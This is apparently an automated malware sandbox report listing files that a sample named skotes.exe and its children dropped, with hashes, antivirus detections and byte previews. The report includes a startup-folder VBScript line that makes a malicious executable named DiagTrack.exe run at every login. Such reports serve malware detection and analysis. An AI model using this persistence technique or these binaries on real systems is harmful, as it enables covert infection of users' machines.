Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....%g.....................,.......9... ...@....@.. ....................................`..................................9..S....@...(...........H...!........................................................... ............... ..H............text........ ...................... ..`.rsrc....(...@.....................@..@.reloc...............F..............@..B.................9......H.......4...d+..............c.......................................................................................................................................................:.(-.....}....>..(......}....V..o/....(0.....}....B...(0.....}........(1.....rE..p.....(2...o3........}....j.rS..p.{....o4......(5.....{........(9...T8......J.XT.J.X(.....(=...-."..(....2.s....(....J.(....o.....(....6..s....(....R..(.....( ....(....:...s....(....*v...(!....(x.....}.....

C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2964480
Entropy (8bit):	6.547019304873906
Encrypted:	false
SSDEEP:	49152:3S4JSuBwINPmACNvfBiKKx2ymGdMOqJ97s+Y:xSuBfNOAoxip2FG6OqJ9NY
MD5:	53014E825FFABBC0AC8A0AB1AEC76EE7
SHA1:	0C81CBA17F60843F4FC34388E6F07EE969E1B056
SHA-256:	F018E69934CDBC05BCE5C6DDAF408409C2FBBBE1BD76E7D586221B0FC077FE2B
SHA-512:	7DE026C0324A35DFBD273C329AB5EFBA662B71DEEC2AD8D405A55348C4B2AE6492BD3D74C3BF85133184E66AE834A8D3D8CD195ECB047759088B7FFBEF9F4999
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........P0...........@...........................0......y-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...zjitwqld..........................@...mduizhsw.....@0.......-.............@....taggant.0...P0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2143744
Entropy (8bit):	7.959329929023164
Encrypted:	false
SSDEEP:	49152:/gTKihWoN2xC3miqdOlcZsxJmyfTOQxI0UsGzNLNuLbLujD:YTAoN2E4dO+ZuJmybjI0ULuL
MD5:	90CD56BFD041977B953EC0D6AC7F665C
SHA1:	C0CBD27BA7367C60BA521CE16056A115EE638EB8
SHA-256:	1BA20B045D5B1D94525FCF24264305573278D9584ECBB9C897ADCDEFBFE5EEC4
SHA-512:	16DD26329B62E1CFCD6B215D5FF0572F2AC0036125DD447FB06AEF929696A5E6BB8FCEF7A5E5711AF993054848301F1CD1A07752A4FEDB61FE5EFAF4B3448BFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,...... s...........@..........................Ps.....+.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .`*.........................@...onvelaog......Y.....................@...dkmdjfdj......s....... .............@....taggant.0... s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584688480979072
Encrypted:	false
SSDEEP:	12288:zqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T7:zqDEvCTbMWu7rQYlBQcBiT6rprG8ab7
MD5:	C1FA8AC639C1D531A4C7CF311C056AB0
SHA1:	1D1C137AD8EA08C6ABDC2CFB8E8F7B7F802499BF
SHA-256:	E4187B64BC8D91A8413225D696CF1BDCB08905B1698F8922DF19F88EB7314E08
SHA-512:	1836E302213E7CD81B456CD8B711AD18DB360BD4D25636BAF4DB97A8893F5DF486B640603DC69B2DAE567F95D0814C306A3FB86376536A9E2F1143603697DFD6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...0.%g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2866688
Entropy (8bit):	6.494213416290658
Encrypted:	false
SSDEEP:	49152:t5ZZQ5qtYXNzHTOl88780cMTwCLKxEnT28f:t5ZZQ5qyXNzHTOl8XMwCLKCnyO
MD5:	01DDF9CC770BC558B2FAFFA43B9B5B12
SHA1:	41300C4536F0F97182BC08207BE6B7E03200D9A7
SHA-256:	FE788A81D8D514B8D5DB059A110090498C4CD6A8CCD77A5D6036AE9E603E06B1
SHA-512:	49CF6DF07F468D1531C64041419E3B698AACB7E2C872D3310BA58C3BA5E73CED318946FA9CCFAAC506DF1D9EAE3A6AD91E8D0FB41E43153053B4B8F55BB94468
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... ,.. ...`....@.. .......................`,.....E.,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...krwtsfss.`+......^+..:..............@...qssevqjd. ....,.......+.............@....taggant.@... ,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2866688
Entropy (8bit):	6.494213416290658
Encrypted:	false
SSDEEP:	49152:t5ZZQ5qtYXNzHTOl88780cMTwCLKxEnT28f:t5ZZQ5qyXNzHTOl8XMwCLKCnyO
MD5:	01DDF9CC770BC558B2FAFFA43B9B5B12
SHA1:	41300C4536F0F97182BC08207BE6B7E03200D9A7
SHA-256:	FE788A81D8D514B8D5DB059A110090498C4CD6A8CCD77A5D6036AE9E603E06B1
SHA-512:	49CF6DF07F468D1531C64041419E3B698AACB7E2C872D3310BA58C3BA5E73CED318946FA9CCFAAC506DF1D9EAE3A6AD91E8D0FB41E43153053B4B8F55BB94468
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... ,.. ...`....@.. .......................`,.....E.,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...krwtsfss.`+......^+..:..............@...qssevqjd. ....,.......+.............@....taggant.@... ,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qgac44q.xdo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvkati3y.hpt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4av1jqp.0xg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrybgrus.jm4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1894400
Entropy (8bit):	7.9488282759970845
Encrypted:	false
SSDEEP:	49152:NEmEI2wiR3hAOyNuf5PLgDQjzq9GnkyPzxJDMY:NEmH2Nhx7fdIdSPlJ4
MD5:	1E33E63C356AC4032505C4A3F7157786
SHA1:	D269E43D5E8439E0A033B3291963B478308F5934
SHA-256:	DC143828ACE64C6A5DE6FD23B99B0B5C73C49F3B1A2A1A585EC356ECD57EAF13
SHA-512:	68CBA85D1100B31110D866EDEB66D5066F12AB8E36E1AEAAD78279EDD31A013573FB377F364D9B0492AFF3B0F2DE95CF27DC6779CF14677BC349F4F55D6B04E6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................0K.....\|.....@.................................W...k.......D.....................J.............................`.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...uqbleicu..... 1.....................@...hvgssyyw......J.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\DiagTrack.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	298941256
Entropy (8bit):	7.999993269646735
Encrypted:	true
SSDEEP:	6291456:7WhDpASyWtw8QQwaXLIfHGG5rBYqqQ6jHFDnRVZlOcw3jJvsLup:6G8QQj2+qqQ6DF3+c+JkLup
MD5:	7CD2BE69E8328859F3F0EA465F7BF035
SHA1:	C2FC77098E4E21013D12A5645D1EAC4F15A549E0
SHA-256:	E961FF6C8AA0E77659CF19CF0FE23702F9AC3B9C95C205C5B438B111BAEF04ED
SHA-512:	D54BF77AB8C643BFA65CEDC8DE828A3CFE5AFD858750B53D4A9B6E904B96A580996B3C25457E7EAA864CA3446E046455D47D94210F1FFC823DF0B72203463783
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....%g.....................,.......9... ...@....@.. ....................................`..................................9..S....@...(...........H...!........................................................... ............... ..H............text........ ...................... ..`.rsrc....(...@.....................@..@.reloc...............F..............@..B.................9......H.......4...d+..............c.......................................................................................................................................................:.(-.....}....>..(......}....V..o/....(0.....}....B...(0.....}........(1.....rE..p.....(2...o3........}....j.rS..p.{....o4......(5.....{........(9...T8......J.XT.J.X(.....(=...-."..(....2.s....(....J.(....o.....(....6..s....(....R..(.....( ....(....:...s....(....*v...(!....(x.....}.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.777451464543708
Encrypted:	false
SSDEEP:	3:FER/n0eFHHot+kiEaKC5PCxfkAdAHn:FER/lFHIwknaZ56lTO
MD5:	7BC74B11933C7A750D1F0AB30504CAEC
SHA1:	AE3ACF7A27075A35FF16B0C32A7998B2A65A859E
SHA-256:	58C6A429B04882AD74685934C83819D6034FBD68D2C82315505CDE9F787AF9FF
SHA-512:	2388974ECE1F630D7D5B0DA3B1790642E2BAB269C986C160CD9301BBB1CAE3FD3D299991484372147FA7D24207E9FE1188E93BD6C76BF0AF657F61C856BF2963
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\DiagTrack.exe"""

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	modified
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035577876577226504
Encrypted:	false
SSDEEP:	3:GtlstFSI++qboRPSRhlstFSI++qboRPSR2lJ89//alEl:GtWtQIBFQWtQIBFHJ89XuM
MD5:	0DDDAA980C77138098F2763E79E8AF2E
SHA1:	4F7DC073355A658999068894DC35E2E225153D17
SHA-256:	A44EF4AED347653659EA9E7A2B2FDE5A604501635B7140F04A52EB349132DB14
SHA-512:	44C0FA3479D89DE0A0112F7AEB9EBDB5F54B6244319F6C2499747B0178EFAE6A6513E6C22352CD92CAD5EAE06C7B82C092A84350C1F28E76CC33531704578D24
Malicious:	false
Preview:	..-......................3....>}.B.,.c.Sq4...-......................3....>}.B.,.c.Sq4.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03971446214882193
Encrypted:	false
SSDEEP:	3:Ol1ePA0fuHZl/ofbY9jRP4Dl8rEXsxdwhml8XW3R2:KAI0GHTmYBRQl8dMhm93w
MD5:	6DF893E76D77924F591FB99B242BFEF2
SHA1:	9063F56336FD9B3C37834420894110E1193FC9C2
SHA-256:	A5B8ED4149CE4846804D0FBD2167D383367E4D39DE08AB3793422887F8077157
SHA-512:	1B90DD66592522EB2D69B89E328D8ECF9B57D9A3C7C85E19EB297BF6BFF4C1964D9CDE4FFEBDB744CDEA3620370BD6619E510947768E670F97F9B9B171BA9AE6
Malicious:	false
Preview:	7....-..........>}.B.,..G.Q...........>}.B.,..3....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	10085
Entropy (8bit):	5.535175527138315
Encrypted:	false
SSDEEP:	192:WnaRtZYbBp6Khj4qyaaX86KakfGNBw8dYSl:xeUquOcwL0
MD5:	21D09A11FB9551CCC1603A6C700CC426
SHA1:	01F1ADEDEED4439AC2CCA043FB75087FA3F173EB
SHA-256:	50962CCE08F1B249618D7BA620E93D5F84026F61319BFA561C258745DBC21E7A
SHA-512:	41D59F9EBE1124C1F0B1EEB88D7B84FA52763E59A837B1661E0ED5CD01F7CF7FD2DF8E424583EB1D3354A3FE4D5CE69B2CAFF2FDC0F782F0FD4B77818EFCA8F4
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	10085
Entropy (8bit):	5.535175527138315
Encrypted:	false
SSDEEP:	192:WnaRtZYbBp6Khj4qyaaX86KakfGNBw8dYSl:xeUquOcwL0
MD5:	21D09A11FB9551CCC1603A6C700CC426
SHA1:	01F1ADEDEED4439AC2CCA043FB75087FA3F173EB
SHA-256:	50962CCE08F1B249618D7BA620E93D5F84026F61319BFA561C258745DBC21E7A
SHA-512:	41D59F9EBE1124C1F0B1EEB88D7B84FA52763E59A837B1661E0ED5CD01F7CF7FD2DF8E424583EB1D3354A3FE4D5CE69B2CAFF2FDC0F782F0FD4B77818EFCA8F4
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

